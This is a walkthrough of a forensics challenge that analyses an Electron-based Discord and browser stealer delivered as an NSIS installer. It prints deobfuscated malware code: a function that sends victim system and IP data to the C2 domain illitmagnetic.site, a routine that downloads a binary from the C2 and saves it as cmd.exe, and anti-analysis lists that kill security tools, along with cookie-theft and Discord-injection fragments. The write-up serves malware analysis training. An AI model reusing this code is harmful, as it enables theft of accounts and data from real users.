Skip to content

Subatomic

Scenario

Forela is in need of your assistance. They were informed by an employee that their Discord account had been used to send a message with a link to a file they suspect is malware. The message read: "Hi! I've been working on a new game I think you may be interested in it. It combines a number of games we like to play together, check it out!". The Forela user has tried to secure their Discord account, but somehow the messages keep being sent. They need your help to understand this malware and regain control of their account!

The sherlock archive contains a single file, nsis-installer.exe.

Tasks

What is the Imphash of this malware installer?

The Import Hash (Imphash) is one of the basic properties determined for all samples submitted to VirusTotal. The Imphash can be found under the Details tab for the malware installer file on VirusTotal.

The Imphash is b34f154ec913d2d2c435cbd644e91687.

The malware contains a digital signature. What is the program name specified in the SpcSpOpusInfo Data Structure?

The SpcSpOpusInfo data structure is part of the Authenticode signature used to sign PE binaries. The signature is linked to the binary in such a way that it can't be modified without breaking it. It can be veried in several ways, though not all the methods provide the same level of detail.

Verifying Signatures in Windows

Windows itself provides a means to check an executable's signature through the File Properties dialog, though it doesn't provide any more information than the fact that the signature is invalid:

alt text

The SpcSpOpusInfo structure contains two data fields, programName and moreInfo. The fields can be listed using a tool like Signify or by looking up the file on VirusTotal and navigating to the Details tab:

alt text

The program name is Windows Update Assistant.

The malware uses a unique GUID during installation, what is this GUID?

The malware is delivered as a self-extracting installer, which means the installer executable can be renamed to a .zip file and extracted manually. Opening the archive in 7-Zip reveals the following contents:

alt text

Note

The choice of archiver application matters. When opened in any other tool, the last file, [NSIS].nsi, is missing from the archive.

[NSIS].nsi is a plain text file that can be opened in a regular editor. It contains resources used by the application, such as localized text strings, and instructions for the installer on where to write registry keys:

alt text

The Globally Unique IDentifier (GUID) cfbc383d-9aa0-5771-9485-7b806e8442d5 appears throughout the entire file.

The malware contains a package.json file with metadata associated with it. What is the 'License' tied to this malware?

Digging further into the malware package, there is a 7zip archive inside $PLUGINSDIR named app-32.7z, which appears to be an Electron app:

alt text

The resources folder contains a rather large (~45 MB) file named app.asar. .asar files are actually archives as well, a tar-like format used by Electron apps. The archive can be extracted using the asar CLI tool:

npx @electron/asar extract app.asar extracted
Running asar from a Docker container

The Asar GitHub page lists Node 22.12.0 as a requirement for running asar. If this is a more recent version than what is available, one possible solution around the problem is to run Node and Asar from inside a Docker container.

The following Dockerfile can be used to build a custom container with Node and Asar present:

1
2
3
4
5
6
7
8
FROM node:latest

WORKDIR /app
COPY . .

RUN npm install -g @electron/asar

ENTRYPOINT ["asar"]

The container can be built and used like so:

docker build -t asar-tool .
docker run --rm -v "$PWD":/app asar-tool extract /app/app.asar /app/extracted

The app.asar archive contains two files, app.js and package.json, as well as a node_modules folder.

package.json contains metadata for the application:

{
  "name": "SerenityTherapyInstaller",
  "version": "1.0.0",
  "main": "app.js",
  "nodeVersion": "system",
  "bin": "app.js",
  "author": "SerenityTherapyInstaller Inc",
  "license": "ISC",
  "dependencies": {
    "@primno/dpapi": "1.1.1",
    "node-addon-api": "^7.0.0",
    "sqlite3": "^5.1.6",
    "systeminformation": "^5.21.22"
  }
}

The license is ISC.

The malware connects back to a C2 address during execution. What is the domain used for C2?

The main logic of the malware is defined in app.js. This file is heavily obfuscated and partly encrypted, which makes static analysis unfeasible. The only other option is therefore to dynamically analyze the file by running the malicious script inside a debugger. Since the malware is built for Windows, it makes sense to debug it on Windows as well.

Visual Studio Code (VSCode) includes a JavaScript debugger and comes pre-installed on FlareVM, making this a convenient way to debug the malicious script.

Note

Ideally, the script should be straight forward to debug by opening it in VSCode, navigating to Run and Debug and launching it as a Node.js script. However, two of the modules included in the package (@primno/dpapi and sqlite3) appear to be broken, causing the debugger to crash before the application can be loaded. The issue can be resolved by deleting the package files from the node_modules folder and reinstalling the packages using npm from the Internet.

Running the script inside a debugger is a very effective way of fully deobfuscating the code. The idea is to stop the debugger at the right time, while the script is being evaluated, but before it finishes.

Achieving this takes a few tries of launching the debugger, immediately pausing it and watching the call stack. When successful, the script appears under the Loaded Scripts tab inside the VSCode debugger:

alt text

The script sets a few variables near the top, one of which is options.api that points to the domain illitmagnetic.site.

The C2 domain is illitmagnetic.site.

The malware attempts to get the public IP address of an infected system. What is the full URL used to retrieve this information?

The following function is responsible for collecting network data on the victim and passing it to the C2:

...
async function newInjection() {
    const system_info = await si?.osInfo();
    const injections = await discordInjection();

    const network = await fetch('https://ipinfo.io/json', {
        method: 'GET',
        headers: {
            'Content-Type': 'application/json'
        }
    });

    const network_data = await network.json();

    fetch(options.api + 'new-injection', {
        method: 'POST',
        headers: {
            'Content-Type': 'application/json',
        },  
        body: JSON.stringify({
            duvet_user: options?.user_id,
            computer_name: userInfo()?.username,
            ram: Math.round(totalmem() / (1024 * 1024 * 1024)),
            cpu: cpus()?.[0]?.model,
            injections,
            distro: system_info?.distro,
            uptime: uptime() * 1000,
            network: {
                ip: network_data?.ip,
                country: network_data?.country,
                city: network_data?.city,
                region: network_data?.region,
            }
        })
    });
};
...

The malware collects information about the victim from their public IP address by making an API call to https://ipinfo.io/json.

The malware is looking for a particular path to connect back on. What is the full URL used for C2 of this malware?

This the full URL of the options.api variable defined at the top of the script.

The full URL is https://illitmagnetic.site/api/.

The malware has a configured user_id which is sent to the C2 in the headers or body on every request. What is the key or variable name sent which contains the user_id value?

The user_id parameter is defined in the options data structure. In every subsequent API call to the C2, the options.user_id parameter is passed through the duvet_user key.

The malware checks for a number of hostnames upon execution, and if any are found it will terminate. What hostname is it looking for that begins with arch?

The checkVm() function at the start of the script contains a list of hostnames that act as killswitches:

...
function checkVm() {
    if(Math.round(totalmem() / (1024 * 1024 * 1024)) < 2) process.exit(1);
    if([
        'bee7370c-8c0c-4', 'desktop-nakffmt', 'win-5e07cos9alr', 'b30f0242-1c6a-4', 'desktop-vrsqlag', 'q9iatrkprh', 'xc64zb',
        'desktop-d019gdm', 'desktop-wi8clet', 'server1', 'lisa-pc', 'john-pc', 'desktop-b0t93d6', 'desktop-1pykp29', 'desktop-1y2433r',
        'wileypc', 'work', '6c4e733f-c2d9-4', 'ralphs-pc', 'desktop-wg3myjs', 'desktop-7xc6gez', 'desktop-5ov9s0o', 'qarzhrdbpj',
        'oreleepc', 'archibaldpc', 'julia-pc', 'd1bnjkfvlh', 'compname_5076', 'desktop-vkeons4', 'NTT-EFF-2W11WSS', 'aranmoo', 'kathlcox', 'rotembarne', 'bilawson', 'seanwalla', 'gugonzal', 'zachwood', 'theresap', 'joyedwar', 'richar', 'dburns', 'willipe'
    ].includes(hostname().toLowerCase())) process.exit(1);
...

The hostname starting with arch is archibaldpc.

The malware looks for a number of processes when checking if it is running in a VM; however, the malware author has mistakenly made it check for the same process twice. What is the name of this process?

The checkVm() function also includes a list of processes that the malware attempts to terminate when executed:

...
    const tasks = execSync('tasklist');
    [
        'opera', 'fakenet', 'dumpcap', 'httpdebuggerui', 'wireshark', 'fiddler', 'vboxservice', 'df5serv', 'vboxtray', 'vmtoolsd',
        'vmwaretray', 'ida64', 'ollydbg', 'pestudio', 'vmwareuser', 'vgauthservice', 'vmacthlp', 'x96dbg', 'vmsrvc', 'x32dbg',
        'vmusrvc', 'prl_cc', 'prl_tools', 'xenservice', 'qemu-ga', 'joeboxcontrol', 'ksdumperclient', 'ksdumper', 'joeboxserver',
        'vmwareservice', 'vmwaretray', 'discordtokenprotector'
    ].forEach((task) => {
        if(tasks.includes(task))
        execSync(`taskkill /f /im ${task}.exe`);
    });
...

The process vmwaretray is listed twice.

The malware has a special function which checks to see if C:\Windows\system32\cmd.exe exists. If it doesn't it will write a file from the C2 server to an unusual location on disk using the environment variable USERPROFILE. What is the location it will be written to?

The relevant function is checkCmdInstallation():

...
async function checkCmdInstallation() {
    return await new Promise(async(resolve) => {
        if(!existsSync('C:\\Windows\\system32\\cmd.exe')) {
            const request = await fetch(options.api + 'cmd-file', {
                method: 'GET',
                headers: {
                    'Content-Type': 'application/json',
                    'duvet_user': options?.user_id
                }
            });

            const response = await request.json();
            writeFileSync(join(process.env.USERPROFILE, 'Documents','cmd.exe'), Buffer.from(response?.buffer), {
                flag: 'w'
            });
            process.env.ComSpec = join(process.env.USERPROFILE, 'Documents', 'cmd.exe');
            resolve();
        } else {
            process.env.ComSpec = 'C:\\Windows\\system32\\cmd.exe';
            resolve();
        };
    });
};
...

On the highlighted line, the script writes the response from the C2 to %USERPROFILE%\Documents\cmd.exe.

The malware appears to be targeting browsers as much as Discord. What command is run to locate Firefox cookies on the system?

There is a getFirefoxCookies() function that calls the OS command where to find the Sqlite3 database that holds the cookie database:

...
async function getFirefoxCookies(path) {
    const cookies = [];
    if(existsSync(path)) {
        try {
            const cookiesFile = execSync('where /r . cookies.sqlite', { cwd: path })?.toString();

            if(!cookiesFile) return;
            if(!existsSync(join(cookiesFile?.trim()))) return;
...

To finally eradicate the malware, Forela needs you to find out what Discord module has been modified by the malware so they can clean it up. What is the Discord module infected by this malware, and what's the name of the infected file?

The function discordInjection() is responsible for modifying Discord files:

...
async function discordInjection() {
    const infectedDiscords = [];

    [join(process.env.LOCALAPPDATA, 'Discord'), join(process.env.LOCALAPPDATA, 'DiscordCanary'), join(process.env.LOCALAPPDATA, 'DiscordPTB')]
    ?.forEach(async(dir) => {
        if(existsSync(dir)) {
            if(!readdirSync(dir).filter((f => f?.startsWith('app-')))?.[0]) return;
            const path = join(dir, readdirSync(dir).filter((f => f.startsWith('app-')))?.[0], 'modules', 'discord_desktop_core-1');
            const discord_index = execSync('where /r . index.js', { cwd: path })?.toString()?.trim();
...

From the code above, the module name is discord_desktop_core-1 and the file modified is index.js.